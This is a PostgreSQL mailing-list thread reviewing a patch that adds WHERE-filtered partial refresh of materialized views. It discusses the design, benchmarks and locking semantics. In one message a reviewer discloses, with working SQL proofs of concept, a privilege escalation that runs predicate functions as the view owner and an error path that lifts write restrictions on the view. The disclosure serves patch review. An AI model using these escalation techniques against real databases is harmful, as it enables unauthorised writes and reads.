Thread

1. [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Adam Brusselback <adambrusselback@gmail.com> — 2025-12-08T20:58:27Z

   Attached is a patch implementing support for a WHERE clause in REFRESH
   MATERIALIZED VIEW.
   
   The syntax allows for targeted refreshes:
       REFRESH MATERIALIZED VIEW mv WHERE invoice_id = ANY('{1,2,3}');
       REFRESH MATERIALIZED VIEW CONCURRENTLY mv WHERE customer_id = 42;
       REFRESH MATERIALIZED VIEW mv WHERE order_date >= '2023-01-01';
   
   I was inspired to implement this feature after watching the Hacking
   Postgres discussion on the topic:
   https://www.youtube.com/watch?v=6cZvHjDrmlQ
   
   This allows the user to restrict the refresh operation to a subset of the
   view. The qualification is applied to the view's output columns. The
   optimizer can then push this condition down to the underlying base tables,
   avoiding a full scan when only a known subset of data has changed.
   
   Implementation notes:
   
   1. The grammar accepts an optional WHERE clause. We forbid volatile
   functions in the clause to ensure correctness.
   
   2. Non-Concurrent Partial Refresh: When `CONCURRENTLY` is not specified,
   the operation performs an in-place modification using a `ROW EXCLUSIVE`
   lock.
       *   This mode requires a unique index to ensure constraint violations
   are handled correctly (e.g., when a row's values change such that it
   "drifts" into or out of the `WHERE` clause scope).
       *   It executes a Prune + Upsert strategy:
           * `DELETE` all rows in the materialized view that match the `WHERE`
   clause.
           * `INSERT` the new data from the source query.
       *   It uses `ON CONFLICT DO UPDATE` during the insert phase to handle
   concurrency edge cases, ensuring the refresh is robust against constraint
   violations.
   
   3. Concurrent Partial Refresh: When `CONCURRENTLY` is specified, it uses
   the existing diff/merge infrastructure (`refresh_by_match_merge`), limiting
   the scope of the diff (and the temporary table population) to the rows
   matching the predicate. This requires an `EXCLUSIVE` lock and a unique
   index, consistent with existing concurrent refresh behavior. It is much
   slower than `Non-Concurrent Partial Refresh`
   
   4. The execution logic uses SPI to inject the predicate into the source
   queries during execution.
   
   I have attached a benchmark suite to validate performance and correctness:
   
   *   `setup.sql`: Creates a schema `mv_benchmark` modeling an invoicing
   system (`invoices` and `invoice_lines`). It includes an aggregated
   materialized view (`invoice_summary`) and a control table
   (`invoice_summary_table`).
   *   `workload_*.sql`: pgbench scripts simulating a high-churn environment
   (45% inserts, 10% updates, 45% deletes) to maintain roughly stable dataset
   sizes while generating significant refresh work.
   *   `run_benchmark_comprehensive.sh`: Orchestrates the benchmark across
   multiple scale factors and concurrency levels.
   
   The benchmark compares strategies for keeping a summary up to date (vs
   baseline):
   *   Partial Refresh: Triggers on the base table collect modified IDs and
   execute `REFRESH MATERIALIZED VIEW ... WHERE ...`.
   *   Materialized Table (Control): A standard table maintained via complex
   PL/pgSQL triggers (the traditional manual workaround).
   *   Full Refresh (Legacy): Manually refresh the view after changes.
   
   Results are below:
   Concurrency: 1 client(s)
   ----------------------------------------------------------------------------------
   Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   ---------- ------ | ------------ | ------------ ------------ ------------
   20000           1 | 5309.05      | 0.002x        0.437x        0.470x
   20000          50 | 1209.32      | 0.010x        0.600x        0.598x
   20000        1000 | 56.05        | 0.164x        0.594x        0.576x
   400000          1 | 5136.91      | 0    x        0.450x        0.487x
   400000         50 | 1709.17      | 0    x        0.497x        0.482x
   400000       1000 | 110.35       | 0.006x        0.507x        0.460x
   
   Concurrency: 4 client(s)
   ----------------------------------------------------------------------------------
   Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   ---------- ------ | ------------ | ------------ ------------ ------------
   20000           1 | 19197.50     | 0x            0.412x        0.435x
   20000          50 | 1016.14      | 0.007x        0.966x        1.036x
   20000        1000 | 9.94         | 0.708x        1.401x        1.169x
   400000          1 | 19637.36     | 0x            0.436x        0.483x
   400000         50 | 4669.32      | 0x            0.574x        0.566x
   400000       1000 | 23.26        | 0.029x        1.147x        0.715x
   
   Concurrency: 8 client(s)
   ----------------------------------------------------------------------------------
   Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   ---------- ------ | ------------ | ------------ ------------ ------------
   20000           1 | 30358.32     | 0x            0.440x        0.457x
   20000          50 | 262.75       | 0.026x        2.943x        2.740x
   20000        1000 | 11.28        | 0.575x        0.840x        0.578x
   400000          1 | 36007.15     | 0x            0.430x        0.464x
   400000         50 | 6664.58      | 0x            0.563x        0.494x
   400000       1000 | 11.61        | 0.058x        1.000x        1.277x
   
   
   
   In these tests, the partial refresh behaves as O(delta) rather than
   O(total), performing comparably to the manual PL/pgSQL approach but with
   significantly lower code complexity for the user.
   
   I recognize that adding a WHERE clause to REFRESH is an extension to the
   SQL standard. I believe the syntax is intuitive, but I am open to
   discussion regarding alternative implementation strategies or syntax if the
   community feels a different approach is warranted.
   
   New regression tests are included in the patch.
   
   This is my first time submitting a patch to PostgreSQL, so please bear with
   me if I've missed anything or made any procedural mistakes. I'm happy to
   address any feedback.
   
   Thanks,
   Adam Brusselback
   

2. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Kirk Wolak <wolakk@gmail.com> — 2025-12-09T05:08:58Z

   On Mon, Dec 8, 2025 at 3:58 PM Adam Brusselback <adambrusselback@gmail.com>
   wrote:
   
   > Attached is a patch implementing support for a WHERE clause in REFRESH
   > MATERIALIZED VIEW.
   >
   > The syntax allows for targeted refreshes:
   >     REFRESH MATERIALIZED VIEW mv WHERE invoice_id = ANY('{1,2,3}');
   >     REFRESH MATERIALIZED VIEW CONCURRENTLY mv WHERE customer_id = 42;
   >     REFRESH MATERIALIZED VIEW mv WHERE order_date >= '2023-01-01';
   >
   > I was inspired to implement this feature after watching the Hacking
   > Postgres discussion on the topic:
   > https://www.youtube.com/watch?v=6cZvHjDrmlQ
   >
   > +1 (But I was in that hacking session).
   
     Our situation was a wonderful MV with all the columns we needed (some
   hard to calculate) to augment search data done millions of times/day.  It
   was a thing of beauty.  Until we realized we needed to update 1 record
   (vendor inventory UPDATE date/time) every time we processed a file
   (something we do 24x7, a hundred times each hour!
   
     For that ONE field, we ended up doing REFRESH MV concurrently;  OVER
   2,000 times per day.
   
     Our understanding is that many people run into this exact issue.  The
   cache needs small frequent updates.
   (After reading the code that handles MVs, we just created our own TABLE,
   and maintain it with a scheduler to rebuild HOURLY,
   and when we process the file, a Simple UPDATE is issued for the one column).
   
     While this "Works", the CONCEPT of this patch (untested by me, as of
   yet), would have fixed this with far less effort,
   and would be easier to maintain.
   
     After I review the code, I will add additional comments.
   
     I am curious what others think?  (And FWIW, I believe that the larger the
   MV, the MORE this feature is needed,
   vs refreshing the ENTIRE view).
   
   Regards...
   
   >
   

3. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Nico Williams <nico@cryptonector.com> — 2025-12-09T05:35:42Z

   On Tue, Dec 09, 2025 at 12:08:58AM -0500, Kirk Wolak wrote:
   >   Our understanding is that many people run into this exact issue.  The
   > cache needs small frequent updates.
   > (After reading the code that handles MVs, we just created our own TABLE,
   > and maintain it with a scheduler to rebuild HOURLY,
   > and when we process the file, a Simple UPDATE is issued for the one column).
   > 
   >   While this "Works", the CONCEPT of this patch (untested by me, as of
   > yet), would have fixed this with far less effort,
   > and would be easier to maintain.
   > 
   >   After I review the code, I will add additional comments.
   > 
   >   I am curious what others think?  (And FWIW, I believe that the larger the
   > MV, the MORE this feature is needed,
   > vs refreshing the ENTIRE view).
   
   What I do is I have my own materialized view infrastructure, written
   entirely in PlPgSQL, and I completely avoid PG's MV support.  This
   alternative MV scheme creates an actual table for each MV, which means:
   
    - one can update the MV directly (and I do, via triggers)
   
    - one can have triggers on the MV (e.g., to record history)
   
   This is has been very handy for me.
   
   I also have a state table in which to keep track of whether an MV needs
   a refresh, and I have a function i can use to mark an MV as needing a
   refresh.  Marking an MV as needing a refresh sends a NOTIFY, and then I
   have a daemon that will refresh views as needed (with some
   debouncing/coalescing of notifications).
   
   This way I can have MVs with very complex underlying queries for which
   some kinds of updates I can easily write fast triggers for and others
   where I can't (or where they would slow down transactions too much) I
   simply mark the MV as needing a refresh.
   
   Typical MV queries I have that this works very well for include
   transitive reachability closure computations (e.g., all the groups a
   thing is a member of, directly and indirectly, or vice versa --
   recursive CTEs basically).  Though I do now have triggers that can do a
   reasonably good job of synchronously and quickly updating MVs with such
   queries, it's just I didn't always.
   
   Refreshes are always 'concurrent'.
   
   This is my 80/20 solution to the "Incremental View Maintenance" (IVM)
   problem.
   
   A not very current version is here:
   
   https://github.com/twosigma/postgresql-contrib/blob/master/mat_views.sql
   
   If you like it I might be able to get a newer version out.  The version
   above has a few minor issues:
   
    - it uses DELETE FROM instead of TRUNCATE for its' sort-of temp tables
   
    - using TRUNCATE ends up requiring some care to avoid occasional
      deadlocks with VACUUM that are due to using tables as types of the
      columns of the deltas tables
   
    - logging -- lots of logging in the newest version
   
   Another issue is that I rely on NATURAL FULL OUTER JOIN to avoid having
   to generate ON conditions, but that means that all columns of the
   underlying VIEW must not have NULLs.  As I've not needed to support
   nullable columns in these MVs, I don't mind.
   
   Nico
   -- 
   
   
   
   

4. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Adam Brusselback <adambrusselback@gmail.com> — 2025-12-09T16:27:58Z

   >   Our situation was a wonderful MV with all the columns we needed (some
   > hard to calculate) to augment search data done millions of times/day.  It
   > was a thing of beauty.  Until we realized we needed to update 1 record
   > (vendor inventory UPDATE date/time) every time we processed a file
   > (something we do 24x7, a hundred times each hour!
   >
   >   For that ONE field, we ended up doing REFRESH MV concurrently;  OVER
   > 2,000 times per day.
   
   Thanks for the feedback and the use case, Kirk.
   
   Regarding that specific scenario where a single column ("last updated" or
   similar) churns significantly faster than the heavy-computation columns:
   Even with this patch, you might find it beneficial to separate that
   high-velocity column into its own small materialized view (or regular view)
   and join it to the main MV at query time. That will reduce the bloat you
   get on the main MV by quite a lot, especially if you have very wide rows
   (which it seems like you do).
   
   I initially tried to implement logic that would allow for direct UPDATEs
   (which would enable HOT updates). However, to handle rows that matched the
   predicate but were no longer present in the new source data, I had to run
   an anti-join to identify them for deletion. That approach caused
   performance issues, so I settled on the "Prune + Upsert" strategy (DELETE
   matching rows, then INSERT from source).
   
   Because this patch performs a delete/insert cycle, updating that one
   timestamp column will still result in rewriting the whole tuple in the MV.
   
   >   For that ONE field, we ended up doing REFRESH MV concurrently;  OVER
   > 2,000 times per day.
   
   That said, 2,000 refreshes per day is nothing for this implementation,
   provided your updates are selective enough and your queries allow for
   predicate push-down to the base tables.
   
   I look forward to your thoughts after reviewing the code.
   
   Thanks,
   Adam Brusselback
   

5. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   vellaipandiyan sm <vellaipandiyan.sm@gmail.com> — 2026-05-21T05:17:55Z

   Hello hackers,
   
   I reviewed the REFRESH MATERIALIZED VIEW ... WHERE patch and had a few
   questions around concurrency semantics.
   
   - The original DELETE -> INSERT approach exposing a consistency gap makes
   sense, especially once tuple locks disappear after DELETE. The newer FOR
   UPDATE + single-CTE approach seems safer, though I wonder whether
   overlapping refreshes could still encounter deadlock scenarios around
   UPSERT conflicts.
   
   - The CONCURRENTLY behavior also feels somewhat unintuitive here. With
   WHERE refreshes, the non-CONCURRENT path appears more permissive for
   writers than CONCURRENTLY WHERE, which seems opposite to the expectation
   established by normal REFRESH MATERIALIZED VIEW semantics.
   
   - It may also help to document the intended guarantees around overlapping
   partial refreshes and concurrent DML on base tables.
   
   Overall, the use case seems quite valuable for selective high-churn refresh
   workloads.
   
   Thanks for working on this patch.
   
   Regards,
   Vellaipandiyan
   
   On Thu, May 21, 2026 at 10:44 AM Adam Brusselback <adambrusselback@gmail.com>
   wrote:
   
   > Attached is a patch implementing support for a WHERE clause in REFRESH
   > MATERIALIZED VIEW.
   >
   > The syntax allows for targeted refreshes:
   >     REFRESH MATERIALIZED VIEW mv WHERE invoice_id = ANY('{1,2,3}');
   >     REFRESH MATERIALIZED VIEW CONCURRENTLY mv WHERE customer_id = 42;
   >     REFRESH MATERIALIZED VIEW mv WHERE order_date >= '2023-01-01';
   >
   > I was inspired to implement this feature after watching the Hacking
   > Postgres discussion on the topic:
   > https://www.youtube.com/watch?v=6cZvHjDrmlQ
   >
   > This allows the user to restrict the refresh operation to a subset of the
   > view. The qualification is applied to the view's output columns. The
   > optimizer can then push this condition down to the underlying base tables,
   > avoiding a full scan when only a known subset of data has changed.
   >
   > Implementation notes:
   >
   > 1. The grammar accepts an optional WHERE clause. We forbid volatile
   > functions in the clause to ensure correctness.
   >
   > 2. Non-Concurrent Partial Refresh: When `CONCURRENTLY` is not specified,
   > the operation performs an in-place modification using a `ROW EXCLUSIVE`
   > lock.
   >     *   This mode requires a unique index to ensure constraint violations
   > are handled correctly (e.g., when a row's values change such that it
   > "drifts" into or out of the `WHERE` clause scope).
   >     *   It executes a Prune + Upsert strategy:
   >         * `DELETE` all rows in the materialized view that match the
   > `WHERE` clause.
   >         * `INSERT` the new data from the source query.
   >     *   It uses `ON CONFLICT DO UPDATE` during the insert phase to handle
   > concurrency edge cases, ensuring the refresh is robust against constraint
   > violations.
   >
   > 3. Concurrent Partial Refresh: When `CONCURRENTLY` is specified, it uses
   > the existing diff/merge infrastructure (`refresh_by_match_merge`), limiting
   > the scope of the diff (and the temporary table population) to the rows
   > matching the predicate. This requires an `EXCLUSIVE` lock and a unique
   > index, consistent with existing concurrent refresh behavior. It is much
   > slower than `Non-Concurrent Partial Refresh`
   >
   > 4. The execution logic uses SPI to inject the predicate into the source
   > queries during execution.
   >
   > I have attached a benchmark suite to validate performance and correctness:
   >
   > *   `setup.sql`: Creates a schema `mv_benchmark` modeling an invoicing
   > system (`invoices` and `invoice_lines`). It includes an aggregated
   > materialized view (`invoice_summary`) and a control table
   > (`invoice_summary_table`).
   > *   `workload_*.sql`: pgbench scripts simulating a high-churn environment
   > (45% inserts, 10% updates, 45% deletes) to maintain roughly stable dataset
   > sizes while generating significant refresh work.
   > *   `run_benchmark_comprehensive.sh`: Orchestrates the benchmark across
   > multiple scale factors and concurrency levels.
   >
   > The benchmark compares strategies for keeping a summary up to date (vs
   > baseline):
   > *   Partial Refresh: Triggers on the base table collect modified IDs and
   > execute `REFRESH MATERIALIZED VIEW ... WHERE ...`.
   > *   Materialized Table (Control): A standard table maintained via complex
   > PL/pgSQL triggers (the traditional manual workaround).
   > *   Full Refresh (Legacy): Manually refresh the view after changes.
   >
   > Results are below:
   > Concurrency: 1 client(s)
   >
   > ----------------------------------------------------------------------------------
   > Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   > ---------- ------ | ------------ | ------------ ------------ ------------
   > 20000           1 | 5309.05      | 0.002x        0.437x        0.470x
   >
   > 20000          50 | 1209.32      | 0.010x        0.600x        0.598x
   >
   > 20000        1000 | 56.05        | 0.164x        0.594x        0.576x
   >
   > 400000          1 | 5136.91      | 0    x        0.450x        0.487x
   >
   > 400000         50 | 1709.17      | 0    x        0.497x        0.482x
   >
   > 400000       1000 | 110.35       | 0.006x        0.507x        0.460x
   >
   >
   > Concurrency: 4 client(s)
   >
   > ----------------------------------------------------------------------------------
   > Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   > ---------- ------ | ------------ | ------------ ------------ ------------
   > 20000           1 | 19197.50     | 0x            0.412x        0.435x
   >
   > 20000          50 | 1016.14      | 0.007x        0.966x        1.036x
   >
   > 20000        1000 | 9.94         | 0.708x        1.401x        1.169x
   >
   > 400000          1 | 19637.36     | 0x            0.436x        0.483x
   >
   > 400000         50 | 4669.32      | 0x            0.574x        0.566x
   >
   > 400000       1000 | 23.26        | 0.029x        1.147x        0.715x
   >
   >
   > Concurrency: 8 client(s)
   >
   > ----------------------------------------------------------------------------------
   > Scale       Batch | Baseline TPS | Full (Rel)   Partial (Rel) Table (Rel)
   > ---------- ------ | ------------ | ------------ ------------ ------------
   > 20000           1 | 30358.32     | 0x            0.440x        0.457x
   > 20000          50 | 262.75       | 0.026x        2.943x        2.740x
   > 20000        1000 | 11.28        | 0.575x        0.840x        0.578x
   > 400000          1 | 36007.15     | 0x            0.430x        0.464x
   > 400000         50 | 6664.58      | 0x            0.563x        0.494x
   > 400000       1000 | 11.61        | 0.058x        1.000x        1.277x
   >
   >
   >
   > In these tests, the partial refresh behaves as O(delta) rather than
   > O(total), performing comparably to the manual PL/pgSQL approach but with
   > significantly lower code complexity for the user.
   >
   > I recognize that adding a WHERE clause to REFRESH is an extension to the
   > SQL standard. I believe the syntax is intuitive, but I am open to
   > discussion regarding alternative implementation strategies or syntax if the
   > community feels a different approach is warranted.
   >
   > New regression tests are included in the patch.
   >
   > This is my first time submitting a patch to PostgreSQL, so please bear
   > with me if I've missed anything or made any procedural mistakes. I'm happy
   > to address any feedback.
   >
   > Thanks,
   > Adam Brusselback
   >
   

6. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Adam Brusselback <adambrusselback@gmail.com> — 2026-05-26T18:53:28Z

   Hi Vellaipandiyan, thanks for the review.
   
   > I wonder whether overlapping refreshes could still encounter deadlock
   > scenarios around UPSERT conflicts.
   
   That was definitely a gap. The FOR UPDATE step previously issued:
   
       SELECT 1 FROM mv WHERE (...) FOR UPDATE
   
   with no ORDER BY, so two overlapping refreshes could lock the existing
   rows in different physical orders and deadlock before either one reached
   the next statement.
   
   To fix this, the next patch gives the locking SELECT a deterministic
   ORDER BY on the unique key columns so every refresh acquires row locks
   in the same sequence. The upsert now feeds from an ordered source as
   well.
   
   > The CONCURRENTLY behavior also feels somewhat unintuitive here.
   
   I'll include this change in the next patch. After more thinking about
   it (and some feedback), I decided that going this way seems better. So any
   prior discussion about CONCURRENTLY vs without is now talking about the
   inverse of the current version of the patch.
   
   Additionally, I've fixed a "scope drift" issue where the two different
   implementations
   had inconsistent behavior. A row's non-key column changes in the base
   table, shifting it
   into the WHERE predicate's scope. Previously, this caused a unique
   constraint
   violation for the match_merge path because the old row was invisible to the
   filter
   and never deleted. This was previously handled by the direct_mod path
   properly.
   
   Now, both the direct-modification and match/merge paths resolve this by
   using an INSERT ... ON CONFLICT DO UPDATE step (or DO NOTHING if there
   are no non-key columns) against the arbiter index. This safely updates
   the out-of-scope stale row in place without duplicating the key.
   
   > It may also help to document the intended guarantees around overlapping
   > partial refreshes and concurrent DML on base tables.
   
   Here is my attempt at saying what the implementation actually guarantees;
   I will fit this into the docs in some way. If anyone notices something
   wrong with the below, please speak up.
   
   Concurrent Partial Refresh (direct_mod path):
   The FOR UPDATE / upsert-CTE path takes RowExclusiveLock. Readers are
   never blocked. Neither RowExclusiveLock nor the per-row FOR UPDATE
   locks conflict with a plain SELECT. The refresh issues two statements
   in one transaction: the locking SELECT, then the select/upsert/
   anti-join-delete CTE. Under the default READ COMMITTED, these take
   separate snapshots, but the FOR UPDATE row locks are held to transaction
   end, so they bridge both statements. An overlapping refresh blocks on
   those locks for the full duration of the refreshing transaction, not
   just for the locking SELECT, so the gap between the two statements does
   not expose existing MV rows. The CTE's upsert and delete are a single
   statement, so a reader sees either the pre-refresh or post-refresh
   state of an affected row, never a half-applied one.
   
   Concurrent partial refreshes whose predicates touch overlapping existing
   MV rows are serialized. The second waits on the first's FOR UPDATE
   locks. Refreshes over disjoint row sets run in parallel. Within the
   predicate scope, the MV is made consistent with the query snapshot: rows
   present in the snapshot are upserted, rows that no longer appear are
   deleted via the anti-join.
   
   Rows whose key falls outside the predicate are not touched. Note this
   is keyed on the unique index, not on the predicate. As mentioned with
   the drift fix, if the predicate matches a fresh row whose key collides
   with an existing MV row that does not currently match the predicate,
   ON CONFLICT will update that existing row, and the step-one FOR UPDATE
   will not have locked it. This only arises when the predicate references
   non-key columns. When the predicate ranges over the unique-key columns,
   the colliding row necessarily matches too.
   
   It does not lock the base tables. Base-table DML committed after the
   refresh's snapshot is not reflected, identical to a normal full REFRESH.
   
   SELECT FOR UPDATE only serializes overlapping refreshes covering rows
   that already exist in the MV. Two refreshes that both insert the same
   new logical key are serialized by ON CONFLICT and the unique index, not
   by FOR UPDATE. The outcome is still correct. The last writer wins on
   that key.
   
   The predicate must be non-volatile (enforced) and a usable unique index
   is required (enforced).
   
   The above assumes READ COMMITTED. I haven't thought through how things
   will work with other isolation levels.
   
   Non-Concurrent Partial Refresh (match_merge path):
   The WHERE diff/merge path takes an ExclusiveLock and operates similarly
   to the standard full-refresh diff/merge, but with the diff scope
   restricted to rows matching the predicate. Readers are allowed, writers
   are blocked, and overlapping refreshes are serialized at the table
   level. The main difference from a full concurrent refresh is that its
   final insert uses ON CONFLICT DO UPDATE (just like the direct_mod path)
   specifically to resolve unique key violations caused by rows drifting
   into the predicate's scope.
   
   I will provide a new patch shortly.
   
   Thanks,
   Adam Brusselback
   

7. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Zsolt Parragi <zsolt.parragi@percona.com> — 2026-05-28T00:04:53Z

   Hello!
   
   The patch in its current form has a security escalation bug, WHERE
   functions are executed with the privileges of the owner, not the
   maintainer. As one example, see the following script demonstrates
   unprivileged write, but reads are also of course possible:
   
   CREATE ROLE mvowner;
   CREATE ROLE lowpriv;
   
   CREATE SCHEMA atk AUTHORIZATION lowpriv;
   CREATE TABLE loot (note text);
   CREATE MATERIALIZED VIEW mv AS SELECT 1 AS id;
   CREATE UNIQUE INDEX ON mv (id);
   
   ALTER TABLE loot OWNER TO mvowner;
   ALTER MATERIALIZED VIEW mv OWNER TO mvowner;
   GRANT MAINTAIN ON mv TO lowpriv;
   
   SET ROLE lowpriv;
   GRANT USAGE ON SCHEMA atk TO mvowner;
   CREATE FUNCTION atk.w() RETURNS void LANGUAGE plpgsql VOLATILE AS
   $$ BEGIN INSERT INTO public.loot VALUES ('written by ' || current_user); END $$;
   CREATE FUNCTION atk.p(int) RETURNS boolean LANGUAGE plpgsql STABLE AS
   $$ BEGIN PERFORM atk.w(); RETURN true; END $$;
   
   REFRESH MATERIALIZED VIEW mv WHERE atk.p(id);
   RESET ROLE;
   
   SELECT DISTINCT note FROM loot;
   
   Only maintain permission + write access to any schema is required for it.
   
   
   There's also another issue where an error during refresh removes the
   modification restrictions:
   
   CREATE TABLE base (id int, code int, val text);
   INSERT INTO base VALUES (1, 100, 'a'), (2, 200, 'b'), (3, 300, 'c');
   CREATE MATERIALIZED VIEW mv AS SELECT id, code, val FROM base;
   CREATE UNIQUE INDEX mv_code_uq ON mv (code);
   -- fails as it should
   DELETE FROM mv WHERE id = 1;
   -- will fail, as it should
   UPDATE base SET code = 999 WHERE id IN (1, 2);
   REFRESH MATERIALIZED VIEW mv WHERE id <= 2;
   -- succeeds, but it shouldn't
   DELETE FROM mv WHERE id = 1;
   -- we can also insert now
   INSERT INTO mv (id, code, val) VALUES (42, 4242, 'injected');
   
   
   
   

8. Re: [Patch] Add WHERE clause support to REFRESH MATERIALIZED VIEW

   Adam Brusselback <adambrusselback@gmail.com> — 2026-05-29T02:53:15Z

   Hi Zsolt, and hackers,
   
   On the privilege escalation: Yup, that isn't good. Thank you for catching
   that.
   In both paths the predicate is concatenated directly into the SQL that
   evaluates the view, e.g. in refresh_by_direct_modification:
       SELECT * FROM (<view definition>) mv WHERE (<predicate>)
   
   and in refresh_by_match_merge:
       SELECT ctid, * FROM <matview> WHERE (<predicate>)
   
   There's one plan, executed under one userid. I can't run the (<view
   definition>) subquery as the owner and the WHERE (<predicate>) as the
   invoker, SPI executes the whole statement in whatever security context is
   active when it runs.
   
   So the predicate runs as the owner. The levers left are what the predicate
   may contain and who may run it. Here is what I was thinking:
   - Predicate functions all leakproof: allow for anyone with the privilege to
   refresh today (MAINTAIN or owner). A leakproof predicate in owner context
   can't leak the owner's data or do anything the invoker couldn't, so nothing
   escalates.
   - Predicate contains a non-leakproof function: require ownership (or
   superuser). Invoker and owner are then the same trust domain, so
   owner-context execution doesn't escalate.
   
   This keeps MAINTAIN working for the common case, predicates over columns
   with built-in operators. The tightening only hits custom non-leakproof
   predicate functions.
   
   If anyone else has better ideas, i'm all ears.
   
   
   Your second issue is due to a missing PG_TRY around the
   OpenMatViewIncrementalMaintenance()/Close pair in the direct-modification
   path (the match/merge site already handles it). An error between open and
   close goes past the close and leaves matview_maintenance_depth above zero
   for the session, which is what lets plain DELETE/INSERT through afterward.
   Will fix.
   
   Thanks,
   Adam